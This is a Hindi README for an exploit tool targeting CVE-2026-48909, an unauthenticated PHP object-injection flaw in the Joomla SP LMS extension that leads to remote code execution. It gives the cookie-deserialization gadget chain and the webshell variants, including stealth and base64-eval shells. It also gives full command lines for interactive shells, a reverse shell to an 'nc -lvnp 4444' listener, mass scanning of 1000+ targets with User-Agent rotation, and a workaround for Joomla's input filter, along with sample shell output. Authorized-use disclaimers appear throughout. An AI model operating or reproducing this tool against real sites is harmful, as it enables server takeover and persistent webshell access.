CVE-2026-48909 - Joomla SP LMS एक्सटेंशन संस्करण <= 4.1.3 के लिए बिना प्रमाणीकरण PHP ऑब्जेक्ट इंजेक्शन से RCE शोषण। lmsOrders कुकी डीसेरिएलाइज़ेशन का फायदा उठाकर Joomla FormattedtextLogger गैजेट श्रृंखला के माध्यम से वेबशेल लिखता है। इंटरैक्टिव शेल, पथ खोज और सफाई शामिल है। केवल अधिकृत सुरक्षा परीक्षण के लिए।
CVE-2026-48909 के लिए प्रूफ-ऑफ-कॉन्सेप्ट मूल्यांकन उपकरण
लेखक: सुदीपा वानीगरथना
[!IMPORTANT] केवल अधिकृत उपयोग। यह उपकरण सुरक्षा अनुसंधान, शिक्षा, और उन सिस्टमों के परीक्षण के लिए है जिनके आप स्वामी हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।
CVE-2026-48909 Joomla SP LMS एक्सटेंशन में एक गंभीर अनधिकृत PHP ऑब्जेक्ट इंजेक्शन है। यह उपकरण पूर्ण हमला श्रृंखला को लागू करता है ताकि सुरक्षा पेशेवर प्रयोगशाला या अधिकृत वातावरण में प्रभाव को मान्य कर सकें।
यह डिटेक्शन, पथ खोज, पेलोड वितरण, इंटरैक्टिव पोस्ट-एक्सप्लॉइटेशन (जहां अनुमति हो), सामूहिक मूल्यांकन, और वैकल्पिक सफाई को कवर करता है।
| गुण | मान |
|---|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (गंभीर) |
| हमला वेक्टर | नेटवर्क - अनधिकृत |
| प्रभाव | रिमोट कोड निष्पादन |
| प्रभावित उत्पाद | Joomla SP LMS |
| प्रभावित संस्करण | 1.0.0 – 4.1.3 |
| पैच किया गया संस्करण | SP LMS 4.1.4+ |
| गैजेट श्रृंखला | Joomla < 5.2.2 आवश्यक |
| घटक | संस्करण | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | असुरक्षित |
| SP LMS | ≥ 4.1.4 | पैच किया गया |
| Joomla | < 5.2.2 | गैजेट श्रृंखला उपयोग योग्य |
| Joomla | ≥ 5.2.2 | गैजेट श्रृंखला पैच किया गया |
| क्षमता | विवरण |
|---|---|
| अनधिकृत शोषण | कोई क्रेडेंशियल आवश्यक नहीं |
| एकाधिक पेलोड | 7 वेबशेल / निष्पादन वेरिएंट |
| इंटरैक्टिव शेल | तैनाती के बाद कमांड इतिहास सत्र |
| पथ खोज | स्वचालित लेखन योग्य पथ जांच |
| सफाई | परीक्षण के बाद तैनात वेबशेल हटाएं |
| क्षमता | विवरण |
|---|---|
| सामूहिक स्कैनिंग | बहु-थ्रेडेड लक्ष्य सूचियां (1000+) |
| प्रॉक्सी समर्थन | HTTP/SOCKS (Burp, ZAP, आदि) |
| रिवर्स शेल | लिसनर-आधारित पेलोड |
| स्टील्थ मोड | हेडर / POST-उन्मुख कमांड चैनल |
| रैंडमाइज़ेशन | UUID शेल नाम, User-Agent रोटेशन |
| रिपोर्टिंग | JSON, HTML, या CSV के रूप में निर्यात |
| डिटेक्शन सहायता | Joomla संस्करण जांच, --check-only, --safe-mode |
cmd फ़िल्टर द्वारा अवरुद्ध वर्णों से बचता हैpipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparsePython मानक पुस्तकालय के साथ आता है; इसे pip के माध्यम से स्थापित करने की आवश्यकता नहीं है।
https://target.exampleको केवल प्रयोगशाला या अधिकृत लक्ष्य से बदलें।
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# लिसनर
nc -lvnp 4444
# शोषण होस्ट
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| तर्क | विवरण |
|---|---|
target | एकल लक्ष्य URL |
--targets, -T FILE | लक्ष्यों की फ़ाइल (प्रति पंक्ति एक URL) |
--path PATH | वेबशेल के लिए पूर्ण सर्वर पथ |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | वेबशेल फ़ाइल नाम (डिफ़ॉल्ट: x.php) |
| तर्क | विवरण |
|---|---|
--timeout SECONDS | अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--insecure | TLS प्रमाणपत्र सत्यापन छोड़ें |
--proxy URL | उदा. http://127.0.0.1:8080 |
--random-ua | User-Agent घुमाएं (डिफ़ॉल्ट रूप से सक्षम) |
--delay SECONDS | अनुरोधों के बीच देरी |
| तर्क | विवरण |
|---|---|
--reverse-host HOST | लिसनर होस्ट |
--reverse-port PORT | लिसनर पोर्ट |
| तर्क | विवरण |
|---|---|
--interactive, -i | तैनाती के बाद इंटरैक्टिव शेल |
--check-only | केवल भेद्यता जांच |
--safe-mode | गैर-विनाशकारी परीक्षण |
--find-path | स्वचालित रूप से लेखन योग्य पथ खोजें |
--cmd COMMAND | एक कमांड चलाएं और बाहर निकलें |
--cleanup PATH | पथ पर वेबशेल हटाएं |
--cleanup-after | शोषण के बाद सफाई |
| तर्क | विवरण |
|---|---|
--threads NUM | कार्यकर्ता थ्रेड (डिफ़ॉल्ट: 10) |
--export FILE | परिणामों के लिए आउटपुट पथ |
--export-format FORMAT | json, html, csv (डिफ़ॉल्ट: json) |
| तर्क | विवरण |
|---|---|
--log-file FILE | लॉग फ़ाइल में लिखें |
--quiet, -q | शांत मोड |
--verbose, -v | विस्तृत आउटपुट |
--no-banner | बैनर छुपाएं |
| प्रकार | व्यवहार | विशिष्ट उपयोग |
|---|---|---|
minimal | कॉम्पैक्ट GET-आधारित निष्पादन | तंग जगह / त्वरित परीक्षण |
standard | GET + POST cmd (डिफ़ॉल्ट) | सामान्य मूल्यांकन |
stealth | X-Cmd हेडर के माध्यम से कमांड | URL लॉगिंग कम करें |
base64 | POST के माध्यम से eval(base64_decode(...)) | फ़िल्टर एवेज़न लैब्स |
full | GET/POST + बेस64 चैनल | व्यापक नियंत्रण |
reverse | कनेक्ट-बैक शेल | स्थायी प्रयोगशाला पहुंच |
blindshell | वैकल्पिक समावेशन / निष्पादन पैटर्न | सीमित वातावरण |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["हमलावर-नियंत्रित lmsOrders कुकी"] --> B["cart.php में unserialize()"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP ड्रॉप"]
D --> E["डिस्क पर वेबशेल"]
E --> F["रिमोट कमांड निष्पादन"]components/com_splms/models/cart.php बेस64-डीकोडेड lmsOrders कुकी को अनसीरियलाइज़ करता है।Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() फ़ाइल सिस्टम लेखन को ट्रिगर करता है।/, =, +) से बचने के लिए।Joomla का cmd फ़िल्टर /, =, और + को हटा सकता है। यह उपकरण इसके द्वारा क्षतिपूर्ति करता है:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| लक्षण | क्या प्रयास करें |
|---|---|
| फ़िल्टर-सुरक्षित पेलोड उत्पन्न नहीं कर सका | अलग --path, या --find-path; असामान्य पथ वर्णों से बचें |
| शेल सत्यापन विफल | --timeout बढ़ाएँ; --shell-type standard आज़माएँ; system() / समान अक्षम नहीं है इसकी पुष्टि करें; लेखन योग्यता सत्यापित करें |
| लक्ष्य असुरक्षित प्रतीत नहीं होता | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms मौजूद; WAF ब्लॉक का निरीक्षण करें |
| HTTP 500 | --insecure, --timeout 30, एप्लिकेशन/सर्वर लॉग की समीक्षा करें |
| प्रॉक्सी कनेक्शन अस्वीकृत | प्रॉक्सी सुन रही है इसकी पुष्टि करें; URL स्कीम/होस्ट/पोर्ट सही है |
| TLS सत्यापन विफल | टूटे हुए प्रमाणपत्रों वाले प्रयोगशाला एंडपॉइंट के लिए --insecure जोड़ें |
# विस्तृत + फ़ाइल लॉग
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Burp के माध्यम से
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# पहले गैर-विनाशकारी
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # मुख्य उपकरण (v3.0)
├── requirements.txt # Python निर्भरताएं
├── README.md # यह फ़ाइल
└── venv/ # स्थानीय वर्चुअलएनवी (वैकल्पिक, प्रतिबद्ध नहीं)
सार्वजनिक रिलीज़ के लिए वैकल्पिक जोड़:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
यह प्रोजेक्ट जैसा है रक्षात्मक सुरक्षा अनुसंधान और अधिकृत प्रवेश परीक्षण के लिए प्रदान किया गया है।
इस सॉफ़्टवेयर का उपयोग करके आप सहमत हैं कि:
यदि आप इस भेद्यता को वास्तविक वातावरण में खोजते हैं, तो जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें और जहां उपयुक्त हो विक्रेता / CERT के साथ समन्वय करें।
सुदीपा वानीगरथना
सुरक्षा शोधकर्ता · एथिकल हैकिंग · भेद्यता अनुसंधान · Python उपकरण
केवल अधिकृत सुरक्षा परीक्षण के लिए।